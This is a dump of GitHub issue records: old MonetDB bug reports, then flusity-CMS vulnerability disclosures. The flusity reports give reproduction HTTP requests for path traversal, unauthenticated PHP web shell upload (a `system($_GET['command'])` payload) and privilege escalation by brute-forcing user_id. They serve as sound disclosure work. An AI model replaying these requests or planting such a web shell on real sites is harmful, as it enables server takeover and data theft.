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[
"MonetDB",
"MonetDB"
] | Date: 2002-11-22 04:58:53 +0100
From: Maurice van Keulen <<mvankeulen>>
To: @njnes
Version: -- development
Last updated: 2003-08-30 12:13:06 +0200
## Comment 41
Date: 2002-11-22 16:58:53 +0100
From: Maurice van Keulen <<mvankeulen>>
The "varval"-function apparently contains a bug
regarding reference counting. See example below:
Monet Database Server V4.3.6
Copyright (c) 1993-2002, CWI. All rights reserved.
compiled for i686-suse-linux/32bit; dynamically linked.
monet>bar:=new(int,int);
monet>varval("bar").print;
!WARNING: BBPunfix: bat(34) has refcnt -1
!WARNING: BBPunfix: bat(34) has refcnt -1
-----------------
BAT: tmp_34
(int) (int)
-----------------
!WARNING: BBPunfix: bat(34) has refcnt -1
## Comment 42
Date: 2003-02-21 14:39:01 +0100
From: @sjoerdmullender
Logged In: YES
user_id=43607
I don't know why this was closed, but the bug is still there.
## Comment 43
Date: 2003-08-30 12:13:06 +0200
From: @sjoerdmullender
Logged In: YES
user_id=43607
Seems to be fixed in at least 4.3.13.
## Comment 44
Date: 2005-10-06 13:24:50 +0200
From: @njnes
Logged In: YES
user_id=43556
BugDay_2005-10-06: Claimed by niels
BugDay_2005-10-06: TEST exists
Test exists as tests/BugsViaSourgeforce/Tests/ID.642344.
## Comment 45
Date: 2010-05-04 09:32:09 +0200
From: Pseudo user for Sourceforge import <<sfimport>>
This bug was previously known as tracker item 642344 at http://sourceforge.net/support/tracker.php?aid=642344
| Refcount warnings in "varval" | https://api.github.com/repos/MonetDB/MonetDB/issues/10/comments | 0 | 2020-11-30T08:00:21Z | 2024-06-27T10:43:11Z | https://github.com/MonetDB/MonetDB/issues/10 | 753,248,787 | 10 |
[
"MonetDB",
"MonetDB"
] | Date: 2002-11-18 03:54:16 +0100
From: @sjoerdmullender
To: @sjoerdmullender
Version: -- development
Last updated: 2007-02-20 03:23:26 +0100
## Comment 36
Date: 2002-11-18 15:54:16 +0100
From: @sjoerdmullender
We need to take a good look at issues surrounding
CHR_MIN and CHR_MAX with respect to our use of UTF-8.
Perhaps it is best to introduce new types for very
short (8 bit) integers (say, byte and ubyte) and
reserve the type chr for UTF-8 encoded data.
## Comment 37
Date: 2004-03-11 08:52:19 +0100
From: @njnes
Logged In: YES
user_id=43556
introduce type byte and remove uchr
## Comment 38
Date: 2005-10-06 13:19:50 +0200
From: @njnes
Logged In: YES
user_id=43556
BugDay_2005-10-06: Claimed by niels
BugDay_2005-10-06: TESTs exists
example src/modules/plain/Tests/aggr.milM
## Comment 39
Date: 2007-02-20 15:23:26 +0100
From: @sjoerdmullender
Logged In: YES
user_id=43607
Originator: YES
I think we can lay this bug to rest.
(char) '\200' is used for chr(nil). All other values for char are valid and interpreted as Unicode code points (i.e. converted to UTF-8 when converted to str and v.v.).
We now have a byte-sized integer type (bte) and the uchr type is dead, may it rest in peace.
## Comment 40
Date: 2010-05-04 09:32:09 +0200
From: Pseudo user for Sourceforge import <<sfimport>>
This bug was previously known as tracker item 640125 at http://sourceforge.net/support/tracker.php?aid=640125
| CHR_MIN/CHR_MAX and UTF-8 | https://api.github.com/repos/MonetDB/MonetDB/issues/9/comments | 0 | 2020-11-30T08:00:17Z | 2024-06-28T13:38:13Z | https://github.com/MonetDB/MonetDB/issues/9 | 753,248,758 | 9 |
[
"MonetDB",
"MonetDB"
] | Date: 2002-11-06 04:49:36 +0100
From: @sjoerdmullender
To: @njnes
Version: -- development
Last updated: 2002-11-23 12:44:15 +0100
## Comment 33
Date: 2002-11-06 16:49:36 +0100
From: @sjoerdmullender
The compiler complains:
src/modules/plain/oo7.mx(477) : warning C4700: local
variable 'out' used without having been initialized
and rightly so. The problem is, I don't know what to
initialize it to. I guess stderr and stdout are good
candidates, but I have to wonder too, why is this
variable there in the first place?
Look at the code for context.
## Comment 34
Date: 2005-10-06 13:17:37 +0200
From: @njnes
Logged In: YES
user_id=43556
BugDay_2005-10-06: Claimed by niels
BugDay_2005-10-06: NO TEST / COMPILATION ISSUE
warnings are now treated as errors and therefor will be fixed.
## Comment 35
Date: 2010-05-04 09:32:09 +0200
From: Pseudo user for Sourceforge import <<sfimport>>
This bug was previously known as tracker item 634488 at http://sourceforge.net/support/tracker.php?aid=634488
| uninitialized local variable | https://api.github.com/repos/MonetDB/MonetDB/issues/8/comments | 0 | 2020-11-30T08:00:15Z | 2024-06-27T10:43:09Z | https://github.com/MonetDB/MonetDB/issues/8 | 753,248,723 | 8 |
[
"MonetDB",
"MonetDB"
] | Date: 2002-11-04 04:08:27 +0100
From: @sjoerdmullender
To: @njnes
Version: -- development
Last updated: 2002-11-23 01:05:33 +0100
## Comment 30
Date: 2002-11-04 16:08:27 +0100
From: @sjoerdmullender
In interpret_file (src/monet/monet_interpreter.mx), the
file to be interpreted is opened as follows:
if ((fd = fopen(ptr, "rb")) == 0) {
char path[PATHLENGTH];
if (ptr[0] == DIR_SEP) {
strcpy(path, ptr);
}
fd = fopen(path, "rb");
}
Apart from the unnecessary binary mode, there is
something else weird going on: If opening fails, and
the file name starts with a DIR_SEP (i.e. is absolute
on Unix and Windows, but relative on Mac) the file name
is copied to a local buffer and the fopen is tried
again using the local buffer. If the file does not
start with a DIR_SEP, this just tries opening a
randomly initialized local buffer. Also, there is no
check on the length of the file name before copying.
Another no no.
It is clear that this code is bogus. But what is the
intention?
## Comment 31
Date: 2005-10-06 13:12:01 +0200
From: @njnes
Logged In: YES
user_id=43556
BugDay_2005-10-06: CLAIMED BY niels
BugDay_2005-10-06: NO TEST
bug report about code cleanup, no failing behaviour
## Comment 32
Date: 2010-05-04 09:32:09 +0200
From: Pseudo user for Sourceforge import <<sfimport>>
This bug was previously known as tracker item 633313 at http://sourceforge.net/support/tracker.php?aid=633313
| weird code in interpret_file | https://api.github.com/repos/MonetDB/MonetDB/issues/7/comments | 0 | 2020-11-30T08:00:12Z | 2024-06-27T10:43:09Z | https://github.com/MonetDB/MonetDB/issues/7 | 753,248,677 | 7 |
[
"MonetDB",
"MonetDB"
] | Date: 2002-11-02 02:57:45 +0100
From: @drstmane
To: @njnes
Version: -- development
Last updated: 2002-11-23 05:41:20 +0100
## Comment 26
Date: 2002-11-02 14:57:45 +0100
From: @drstmane
In some cases, kunique fails on a str column that
contains >1 empty strings (""). See example below,
and/or the respective test script and stable output in
tests/BugsViaSourgeforce[/Tests]; the files are named
using the ID of this bugreport.
The problem also occurs with
test/Availability[/Tests]/01_Modules_static, most
probably since Peter Boncz added the unicode support on
Oct 9 2002.
I have no idea, where the problem might come from.
Note also, that the problem seems to occur
"non-deterministically"...
========
var v1 := new(void,str).seqbase(0@0);
v1.insert(nil,"");
v1.insert(nil,"b");
v1.insert(nil,"");
v1.insert(nil,"c");
v1.insert(nil,"");
v1.insert(nil,"a");
v1.insert(nil,"");
v1.print;
-----------------
BAT: tmp_27
(void) (str)
-----------------
[ 0@0, "" ]
[ 1@0, "b" ]
[ 2@0, "" ]
[ 3@0, "c" ]
[ 4@0, "" ]
[ 5@0, "a" ]
[ 6@0, "" ]
var v2 := v1.reverse.kunique.reverse;
!WARNING: BATpropcheck: BAT tmp_26 was incorrectly
marked keyed!
var v3 := v2.reverse.sort.reverse;
v3.print;
-----------------
BAT: tmp_28
(oid) (str)
-----------------
[ 4@0, "" ]
[ 6@0, "" ]
[ 0@0, "" ]
[ 5@0, "a" ]
[ 1@0, "b" ]
[ 3@0, "c" ]
========
## Comment 27
Date: 2002-11-23 17:41:20 +0100
From: @njnes
Logged In: YES
user_id=43556
The strCmp wraper calling strCmpNoNil skipt over the first
byte which is
wrong with 0 length strings
(problem did occure in many other functions then kunique, all
bat ops with strings should have been affected)
## Comment 28
Date: 2005-10-06 13:08:45 +0200
From: @njnes
Logged In: YES
user_id=43556
BugDay_2005-10-06: CLAIMED BY niels
BugDay_2005-10-06: Done/SUCCES
Test allready available via
tests/BugsViaSourgeforce/Tests/ID.632575.milS
## Comment 29
Date: 2010-05-04 09:32:09 +0200
From: Pseudo user for Sourceforge import <<sfimport>>
This bug was previously known as tracker item 632575 at http://sourceforge.net/support/tracker.php?aid=632575
| kunique fails with empty strings | https://api.github.com/repos/MonetDB/MonetDB/issues/6/comments | 0 | 2020-11-30T08:00:09Z | 2024-06-27T10:43:08Z | https://github.com/MonetDB/MonetDB/issues/6 | 753,248,638 | 6 |
[
"MonetDB",
"MonetDB"
] | Date: 2002-10-31 03:14:03 +0100
From: @sjoerdmullender
To: @sjoerdmullender
Version: -- development
Last updated: 2004-11-30 06:36:01 +0100
## Comment 22
Date: 2002-10-31 15:14:03 +0100
From: @sjoerdmullender
The MT_mmap function takes as second argument the OR of
several flags, among which one of MMAP_NORMAL,
MMAP_SEQUENTIAL, etc. These values are defined in
gdk_posix.mx, supposedly with the same values as the
POSIX constants MADV_NORMAL, MADV_SEQUENTIAL, etc.
But who guarantees that they are the same, and that
they fit in the allocated number of bits (MMAP_ADVICE
== 7)?
The proper way of dealing with this is to do a mapping
from MMAP_* to MADV_* in (the Posix version of) MT_mmap.
## Comment 23
Date: 2004-11-30 18:36:01 +0100
From: @peterboncz
Logged In: YES
user_id=591107
this was fixed: the MMAP_ constants are now set to the
correct POSIX_MADV_* values
## Comment 24
Date: 2005-10-06 13:06:18 +0200
From: @njnes
Logged In: YES
user_id=43556
BugDay_2005-10-06: CLAIMED BY niels
BugDay_2005-10-06: Done/No TEST possible
## Comment 25
Date: 2010-05-04 09:32:09 +0200
From: Pseudo user for Sourceforge import <<sfimport>>
This bug was previously known as tracker item 631556 at http://sourceforge.net/support/tracker.php?aid=631556
| Bad reuse of POSIX constants MADV_* | https://api.github.com/repos/MonetDB/MonetDB/issues/5/comments | 0 | 2020-11-30T08:00:05Z | 2024-06-28T13:38:12Z | https://github.com/MonetDB/MonetDB/issues/5 | 753,248,590 | 5 |
[
"MonetDB",
"MonetDB"
] | Date: 2002-10-15 10:58:05 +0200
From: @arjenpdevries
To: @njnes
Version: -- development
Last updated: 2002-10-18 10:33:19 +0200
## Comment 11
Date: 2002-10-15 22:58:05 +0200
From: @arjenpdevries
set daemon mode (uncomment deamon=no in monet.conf);
start Mserver
it gives the error:
!ERROR: putRequest: nil request received
## Comment 12
Date: 2002-10-15 22:59:14 +0200
From: @arjenpdevries
Logged In: YES
user_id=572978
BTW:
daemon is not spelled deamon, so that configuration setting
could be improved as well :)
(i.e., daemon=no ipv deamon=no)
## Comment 13
Date: 2005-10-06 13:04:37 +0200
From: @njnes
Logged In: YES
user_id=43556
BugDay_2005-10-06: CLAIMED BY niels
BugDay_2005-10-06: Done/SUCCES
test script added as
tests/BugDay_2005-10-06_4.9.3/Tests/monet_daemon.SF-623743
## Comment 14
Date: 2008-10-15 23:28:14 +0200
From: @skinkie
Does anyone have any interest in making --daemon=yes working?
## Comment 15
Date: 2008-10-16 00:20:14 +0200
From: @drstmane
--set monet_daemon=yes works fine for me, so what is the/your problem?
## Comment 16
Date: 2008-10-16 00:30:35 +0200
From: @skinkie
My problem is that I try to read documentation:
/opt/cherokee/bin/mserver5 --help
Usage: /opt/cherokee/bin/mserver5 [options] [scripts]
--daemon=yes|no run in background [no]
/opt/cherokee/bin/mserver5 --daemon=yes
MonetDB server v5.7.0, based on kernel v1.25.0
Serving database 'demo', using 2 threads
Compiled for x86_64-unknown-linux-gnu/64bit with 64bit OIDs dynamically linked
Copyright (c) 1993-2008 CWI, all rights reserved
Visit http://monetdb.cwi.nl/ for further information
warning: please don't forget to set your vault key!
(see /opt/cherokee/etc/monetdb5.conf)
Listening for connection requests on mapi:monetdb://127.0.0.1:50000/
/opt/cherokee/bin/mserver5 --set monet_daemon=yes
MonetDB server v5.7.0, based on kernel v1.25.0
Serving database 'demo', using 2 threads
Compiled for x86_64-unknown-linux-gnu/64bit with 64bit OIDs dynamically linked
Copyright (c) 1993-2008 CWI, all rights reserved
Visit http://monetdb.cwi.nl/ for further information
warning: please don't forget to set your vault key!
(see /opt/cherokee/etc/monetdb5.conf)
Listening for connection requests on mapi:monetdb://127.0.0.1:50000/
(now I see this also in the latest version of today, but that is inside a VM now, so I cannot copy/paste)
So why do we have different results? I also tried to update the configuration file, a change to 'yes' also is not working.
## Comment 17
Date: 2008-10-16 02:38:53 +0200
From: @drstmane
also --daemon=yes work fine for me and it seems to work for you, doesn't it?
At least I cannot see any "different results" ...
Again my question, what exactly is the/your problem???
## Comment 18
Date: 2008-10-16 02:53:11 +0200
From: @skinkie
That the server doesn't get into 'daemon' mode?
I don't see a prompt back on my screen... or should I interpreted that it does not fork to the background automatically as 'daemon' mode?
nemesis skinkie /opt/monetdb/bin/mserver5 --daemon=yes
MonetDB Server v5.0.0
Copyright (c) 1993-2007 CWI, all rights reserved
Compiled for x86_64-unknown-linux-gnu/64bit with 64bit OIDs dynamically linked
dbname:demo
Visit http://monetdb.cwi.nl/ for further information
warning: please don't forget to set your vault key!
(see /opt/monetdb/etc/monetdb5.conf)
>
>
>
>nemesis skinkie /opt/monetdb/bin/mserver5 --set monet_daemon=yes
MonetDB Server v5.0.0
Copyright (c) 1993-2007 CWI, all rights reserved
Compiled for x86_64-unknown-linux-gnu/64bit with 64bit OIDs dynamically linked
dbname:demo
Visit http://monetdb.cwi.nl/ for further information
warning: please don't forget to set your vault key!
(see /opt/monetdb/etc/monetdb5.conf)
Anyway you can see the differences above, that is not consistent. First clearly doesn't get into a mode where a user is not able to enter something. The second actually is, but I don't call something daemonizing if I still need to add an & behind it.
So the expected behavior would be to fork to the background?
## Comment 19
Date: 2008-10-16 07:58:38 +0200
From: @grobian
@skinkie: this "disagreement" to what daemon mode should mean resulted amongst other things in merovingian. The --daemon flag is absolutely useless, and doesn't do what it suggests to, and should preferably be removed from M5. (IMO)
## Comment 20
Date: 2008-10-16 10:47:39 +0200
From: @drstmane
@"skinkie":
I see, didn't get that this was your "problem" --- well, I usually simply run `mserver5 --daemon=yes &` and that works fine --- I agree that the documentation might be misleading; in case you consider this a bug, feel free to file a *clear* bug report for that; we do not have much time for "solving riddles" ...
Apart from that, you might indeed want to consider using merovingian as "mr-meltdown" suggested ...
## Comment 21
Date: 2010-05-04 09:32:09 +0200
From: Pseudo user for Sourceforge import <<sfimport>>
This bug was previously known as tracker item 623743 at http://sourceforge.net/support/tracker.php?aid=623743
| daemon mode | https://api.github.com/repos/MonetDB/MonetDB/issues/4/comments | 0 | 2020-11-30T08:00:02Z | 2024-06-28T13:38:40Z | https://github.com/MonetDB/MonetDB/issues/4 | 753,248,554 | 4 |
[
"MonetDB",
"MonetDB"
] | Date: 2002-09-07 11:24:37 +0200
From: @arjenpdevries
To: @njnes
Version: -- development
Last updated: 2002-09-07 01:48:37 +0200
## Comment 8
Date: 2002-09-07 11:24:37 +0200
From: @arjenpdevries
marking a void-T table nil gives incorrect results.
See test no.175 in MonetDB_TRECvid branch
## Comment 9
Date: 2005-10-06 12:37:39 +0200
From: @njnes
Logged In: YES
user_id=43556
BugDay_2005-10-06: Claimed [niels].
BugDay_2005-10-06: Done
Bug reported over existing test no.175
## Comment 10
Date: 2010-05-04 09:32:09 +0200
From: Pseudo user for Sourceforge import <<sfimport>>
This bug was previously known as tracker item 605953 at http://sourceforge.net/support/tracker.php?aid=605953
| marking a void-T table nil | https://api.github.com/repos/MonetDB/MonetDB/issues/3/comments | 0 | 2020-11-30T07:59:59Z | 2024-06-27T10:43:06Z | https://github.com/MonetDB/MonetDB/issues/3 | 753,248,528 | 3 |
[
"MonetDB",
"MonetDB"
] | Date: 2002-08-30 05:04:14 +0200
From: @arjenpdevries
To: @njnes
Version: -- development
Last updated: 2020-10-12 17:52:14 +0200
## Comment 4
Date: 2002-08-30 17:04:14 +0200
From: @arjenpdevries
see test no.173.
a join with a .reverse.mirror-ed void-oid-bat gives a
non-empty
result while it should have been empty.
## Comment 5
Date: 2002-08-30 17:07:25 +0200
From: @arjenpdevries
Logged In: YES
user_id=572978
test no.173 has turned into test no.174
## Comment 6
Date: 2005-10-06 12:36:35 +0200
From: @njnes
Logged In: YES
user_id=43556
BugDay_2005-10-06: Claimed [niels].
BugDay_2005-10-06: Done
Bug reported over existing test no.173 and no.174
## Comment 7
Date: 2010-05-04 09:32:09 +0200
From: Pseudo user for Sourceforge import <<sfimport>>
This bug was previously known as tracker item 602463 at http://sourceforge.net/support/tracker.php?aid=602463
## Comment 28161
Date: 2020-10-12 17:52:14 +0200
From: MonetDB Mercurial Repository <<hg>>
Changeset [69fe7bc578b3](https://dev.monetdb.org/hg/MonetDB?cmd=changeset;node=69fe7bc578b3) made by Niels Nes <niels@cwi.nl> in the MonetDB repo, refers to this bug.
For complete details, see [https//devmonetdborg/hg/MonetDB?cmd=changeset;node=69fe7bc578b3](https://dev.monetdb.org/hg/MonetDB?cmd=changeset;node=https//devmonetdborg/hg/MonetDB?cmd=changeset;node=69fe7bc578b3)
Changeset description:
fix 2 more tests
| join uses wrong column (?) | https://api.github.com/repos/MonetDB/MonetDB/issues/2/comments | 0 | 2020-11-30T07:59:56Z | 2024-06-27T10:43:05Z | https://github.com/MonetDB/MonetDB/issues/2 | 753,248,490 | 2 |
[
"MonetDB",
"MonetDB"
] | Date: 2002-08-30 09:57:26 +0200
From: Alex van Ballegooij <<bally>>
To: @njnes
Version: -- development
Last updated: 2013-12-09 23:27:07 +0100
## Comment 1
Date: 2002-08-30 09:57:26 +0200
From: Alex van Ballegooij <<bally>>
void bats behave differntly fomr oid bats under insertion,
yet it is possible to unexpectedly end up with void
bats after certain operations (e.g. join), which could
lead to unpredictable behavior.
See testscript BugReports/Tests/no.173 .
This is the documentation included in the test script itself:
The void-bats behave strange under insertion,
Either errors should be given consequently
(as soon as a tuple 'out-of-sequence' is inserted)
or void bats should be materialized to oid when
needed.
I would argue for the latter, as there is no real reason
for a user to expect the bat in this example to be void,
(a join result of a [oid,oid] and a [oid,int] bat), yet
it behaves differently from what a user would expect
from the (expected) [oid,int] bat.
The provided stable output has been hand-crafted to
depict that which I argue to be the 'correct' output.
## Comment 2
Date: 2005-10-04 18:48:48 +0200
From: @drstmane
Logged In: YES
user_id=572415
BugDay_2005-10-06: Done.
test script avialbale as
tests/BugsViaSourgeforce/Tests/ID.602271.*
## Comment 3
Date: 2010-05-04 09:32:09 +0200
From: Pseudo user for Sourceforge import <<sfimport>>
This bug was previously known as tracker item 602271 at http://sourceforge.net/support/tracker.php?aid=602271
## Comment 17347
Date: 2012-06-06 16:08:22 +0200
From: @njnes
Changeset [36b7be236d87](https://dev.monetdb.org/hg/MonetDB?cmd=changeset;node=36b7be236d87) made by Niels Nes <niels@cwi.nl> in the MonetDB repo, refers to this bug.
For complete details, see [http//devmonetdborg/hg/MonetDB?cmd=changeset;node=36b7be236d87](https://dev.monetdb.org/hg/MonetDB?cmd=changeset;node=http//devmonetdborg/hg/MonetDB?cmd=changeset;node=36b7be236d87)
Changeset description:
fixed bug #3096
1) added missinge sql create functions for date/time/timestamp
2) fixed problem with median on empty column
## Comment 19318
Date: 2013-11-03 18:06:18 +0100
From: MonetDB Mercurial Repository <<hg>>
Changeset [ff552d5d57c1](https://dev.monetdb.org/hg/MonetDB?cmd=changeset;node=ff552d5d57c1) made by Niels Nes <niels@cwi.nl> in the MonetDB repo, refers to this bug.
For complete details, see [http//devmonetdborg/hg/MonetDB?cmd=changeset;node=ff552d5d57c1](https://dev.monetdb.org/hg/MonetDB?cmd=changeset;node=http//devmonetdborg/hg/MonetDB?cmd=changeset;node=ff552d5d57c1)
Changeset description:
push candidates into join. For now only enabled if run with debug #1<<15.
## Comment 19400
Date: 2013-12-09 23:27:07 +0100
From: MonetDB Mercurial Repository <<hg>>
Changeset [8428e8ce3226](https://dev.monetdb.org/hg/MonetDB?cmd=changeset;node=8428e8ce3226) made by Niels Nes <niels@cwi.nl> in the MonetDB repo, refers to this bug.
For complete details, see [http//devmonetdborg/hg/MonetDB?cmd=changeset;node=8428e8ce3226](https://dev.monetdb.org/hg/MonetDB?cmd=changeset;node=http//devmonetdborg/hg/MonetDB?cmd=changeset;node=8428e8ce3226)
Changeset description:
small fixes
1) make sure we always log (for now we log too much, ie each time the full timestamp bats)
see new tr_pos_tsbats.
2) use length of real bat (not too long timestamp bats)
in bat_table.c
3) cleanup some more code/debug statements
| oid v.s. void bat behavior | https://api.github.com/repos/MonetDB/MonetDB/issues/1/comments | 0 | 2020-11-30T07:59:53Z | 2024-06-27T10:43:04Z | https://github.com/MonetDB/MonetDB/issues/1 | 753,248,460 | 1 |
[
"flusity",
"flusity-CMS"
] | When I deploy version 2.33, I always get the following prompt: function handleFileUpload($db, $table_prefix, $target_dir, $allowed_file_types, $max_file_size) { $uploaded_file = $_FILES["uploaded_file"]; $filename = $uploaded_file['name']; $filename_clean = strtolower(preg_replace("/[^a-zA-Z0-9\._]+/", "_", $filename)); // Pridedamas plėtinio tikrinimas $allowed_extensions = ['png', 'jpeg', 'jpg', 'gif', 'pdf', 'doc', 'xls', 'docx', 'xlsx']; $filename_parts = pathinfo($filename_clean); if (!in_array($filename_parts['extension'], $allowed_extensions)) { $_SESSION['error_message'] = t("Invalid file extension."); return false; } if (!in_array($uploaded_file['type'], $allowed_file_types)) { $_SESSION['error_message'] = t("Invalid file type."); return false; } if ($uploaded_file['size'] > $max_file_size) { $_SESSION['error_message'] = t("File size exceeded limit."); return false; } $unique_code = bin2hex(random_bytes(8)); $filename_parts = pathinfo($filename_clean); $new_filename = $filename_parts['filename'] . '_' . $unique_code . '.' . $filename_parts['extension']; $target_file = $target_dir . basename($new_filename); if (move_uploaded_file($uploaded_file["tmp_name"], $target_file)) { $file_url = $_SERVER['REQUEST_SCHEME'] . "://" . $_SERVER['HTTP_HOST'] . "/uploads/" . $new_filename; $_SESSION['success_message'] = "File" ." ". basename($filename_clean) . " " .t("file uploaded successfully."); $stmt = $db->prepare("INSERT INTO " . $table_prefix . "_flussi_files (name, url) VALUES (:name, :url)"); $stmt->bindParam(':name', $new_filename, PDO::PARAM_STR); $stmt->bindParam(':url', $file_url, PDO::PARAM_STR); $stmt->execute(); return $db->lastInsertId(); } else { $_SESSION['error_message'] = t("Error loading file."); return false; } } | function handleFileUpload | https://api.github.com/repos/flusity/flusity-CMS/issues/11/comments | 1 | 2024-07-04T15:29:14Z | 2024-07-04T17:44:27Z | https://github.com/flusity/flusity-CMS/issues/11 | 2,391,105,184 | 11 |
[
"flusity",
"flusity-CMS"
] | **Description:**
The vulnerability occurred in the download_backup.php file. The $filename parameter is directly passed from the user through $_GET['file'] without being filtered. Hackers exploit this to insert the "../" characters to exploit the path traversal vulnerability:
Especially since define isAdmin is always True, hackers can exploit the vulnerability without needing to authenticate:
**PoC:**
The request exploits the vulnerability to download the win.ini file without needing authentication:
**Impact:**
The attacker exploiting this vulnerability could execute the download of any sensitive file on the system. | Path traversal vulnerability in flusity-CMS-v2.4 | https://api.github.com/repos/flusity/flusity-CMS/issues/10/comments | 1 | 2024-02-06T03:54:26Z | 2024-02-07T16:13:02Z | https://github.com/flusity/flusity-CMS/issues/10 | 2,119,908,708 | 10 |
[
"flusity",
"flusity-CMS"
] | After installation, log in to the backend using default account password tester/1234
Select core settings -> Settings
Select upload file
Intercept traffic packets, modify filename to a PHP file name suffix, and change the content to PHP code.
```
POST /core/tools/actions/update_setting.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------179823897913899829053591720907
Content-Length: 1866
Origin: http://localhost
Connection: close
Referer: http://localhost/core/tools/settings.php
Cookie: PHPSESSID=drc2752h4lmmrqc9vvu5qio597
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------179823897913899829053591720907
Content-Disposition: form-data; name="site_title"
Free CMS flusity
-----------------------------179823897913899829053591720907
Content-Disposition: form-data; name="meta_description"
Flusity is a contemporary PHP CMS project utilizing MVC architecture, MySQL database, and Bootstrap front-end framework. It includes the management of users, posts, menu, blocks and other elements, as well as security and SEO featurD
-----------------------------179823897913899829053591720907
Content-Disposition: form-data; name="default_keywords"
free cms, php, free website, cms, content management system, free cms flusity, php cms, website
-----------------------------179823897913899829053591720907
Content-Disposition: form-data; name="footer_text"
Copyright © flusity JD Theme 2023
-----------------------------179823897913899829053591720907
Content-Disposition: form-data; name="pretty_url"
1
-----------------------------179823897913899829053591720907
Content-Disposition: form-data; name="registration_enabled"
1
-----------------------------179823897913899829053591720907
Content-Disposition: form-data; name="posts_per_page"
10
-----------------------------179823897913899829053591720907
Content-Disposition: form-data; name="language"
en
-----------------------------179823897913899829053591720907
Content-Disposition: form-data; name="bilingualism"
1
-----------------------------179823897913899829053591720907
Content-Disposition: form-data; name="session_lifetime"
30
-----------------------------179823897913899829053591720907
Content-Disposition: form-data; name="brand_icone"; filename="index.php"
Content-Type: image/png
<?php echo system($_GET['command']); ?>
-----------------------------179823897913899829053591720907—
```
You can upload without authen:
view uploaded files
execute php code correctly
On line 52 of update_setting.php:
It is not enough to filter file_types and file_size, you need to filter file_name and file_extensions
| Unauthen Unrestricted Upload of File with Dangerous Type in update_setting.php | https://api.github.com/repos/flusity/flusity-CMS/issues/9/comments | 1 | 2024-02-03T06:34:38Z | 2024-02-03T13:37:12Z | https://github.com/flusity/flusity-CMS/issues/9 | 2,116,292,386 | 9 |
[
"flusity",
"flusity-CMS"
] | Write a simple PHP file
```plain
<?php
phpinfo();
?>
```
Select Upload File under Files in the sidebar
The file types that can be uploaded were passed to handleFileUpload() based on the discovery in upload.php
In f_files.php You can see that the judgment has been made in handleFileUpload()
After capturing the packet, modify the parameter Content Type: image/jpeg and successfully bypass it
Upload successful
View file successfully parsed
 | Version 2.325 still has a vulnerability in uploading arbitrary files in the upload.php file | https://api.github.com/repos/flusity/flusity-CMS/issues/8/comments | 1 | 2023-12-08T13:40:01Z | 2023-12-09T13:59:55Z | https://github.com/flusity/flusity-CMS/issues/8 | 2,032,676,666 | 8 |
[
"flusity",
"flusity-CMS"
] | In cover/addons/jd_simple_zer/action/add_addon.php file, we can see that we only judge whether the file is empty and whether there are exceptions when uploading the file, and then call uploadFile() to directly insert it into the database
The uploadFile() function
Click on Go to Jd Simple Zero in the dashboard to enter
Upload the file and parse the image in the image below
burpsuite info
Parsed successfully, and you can still see the files in the files section of the sidebar
Can successfully parse
 | <=2.325 version in add_addon.php can upload files without any filtering | https://api.github.com/repos/flusity/flusity-CMS/issues/7/comments | 1 | 2023-12-08T13:34:41Z | 2023-12-09T18:02:57Z | https://github.com/flusity/flusity-CMS/issues/7 | 2,032,669,074 | 7 |
[
"flusity",
"flusity-CMS"
] | When the installation is carried out and the administrator user is created, the burpsuit is used to intercept the packet that sends the request in the interface of modifying the user's information and identity.
```
# in burpsuite
POST /core/tools/update_user.php HTTP/1.1
Host: 192.168.31.28
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.31.28/core/tools/users.php
Content-Type: multipart/form-data; boundary=---------------------------19948403496506374292498565223
Content-Length: 1344
Origin: http://192.168.31.28
Connection: close
Cookie: PHPSESSID=gm8egd1mpvp0qruleug9v07vne
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_id"
1
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="login_name"
inituser
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_username"
inituser
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_surname"
inituser
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_phone"
13714016888
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_email"
1533430224@qq.com
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_profile_img"; filename=""
Content-Type: application/octet-stream
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_password"
123456
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_confirm_password"
123456
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_role"
Admin
-----------------------------19948403496506374292498565223
```
Then, after I create a new ordinary user with the name hacker, I can change my identity to manager by modifying the above request packet.
Create a user
Modify the intercepted request packet and use burpsuite to add explosive payload to user_id:
Then, in the packet, modify the user's identity as an administrator:
Using burpsuite to attack
When I traverse to the correct user_id, I can change my identity from a normal user to an administrator user.
<br/>
<br/>
In the update_user.php file, an attacker can explode to generate a user_id, bypass the problem of authentication, and then execute later code to modify his identity.
```
$userId = (int)$_POST['user_id'];
$login_name = $_POST['login_name'];
$username = $_POST['user_username'];
$surname = $_POST['user_surname'];
$phone = $_POST['user_phone'];
$email = $_POST['user_email'];
$role = $_POST['user_role'];
// Patikrinti ar username yra unikalus
$stmt = $db->prepare("SELECT COUNT(*) FROM ".$prefix['table_prefix']."_flussi_users WHERE username = :username AND id != :id");
$stmt->bindParam(':username', $username);
$stmt->bindParam(':id', $userId);
$stmt->execute();
$usernameExists = $stmt->fetchColumn() > 0;
```
Before modifying the information, the identity of the requested user needs to be verified to prevent the attacker from being able to modify the identity parameters of the packet and change his identity to become an administrator.
| Broken Access Control on update_user.php | https://api.github.com/repos/flusity/flusity-CMS/issues/5/comments | 2 | 2023-11-26T08:19:33Z | 2023-11-28T09:39:56Z | https://github.com/flusity/flusity-CMS/issues/5 | 2,010,948,604 | 5 |
[
"flusity",
"flusity-CMS"
] | After installation, log in to the backend using the default account password tester/1234
select files
select upload_file
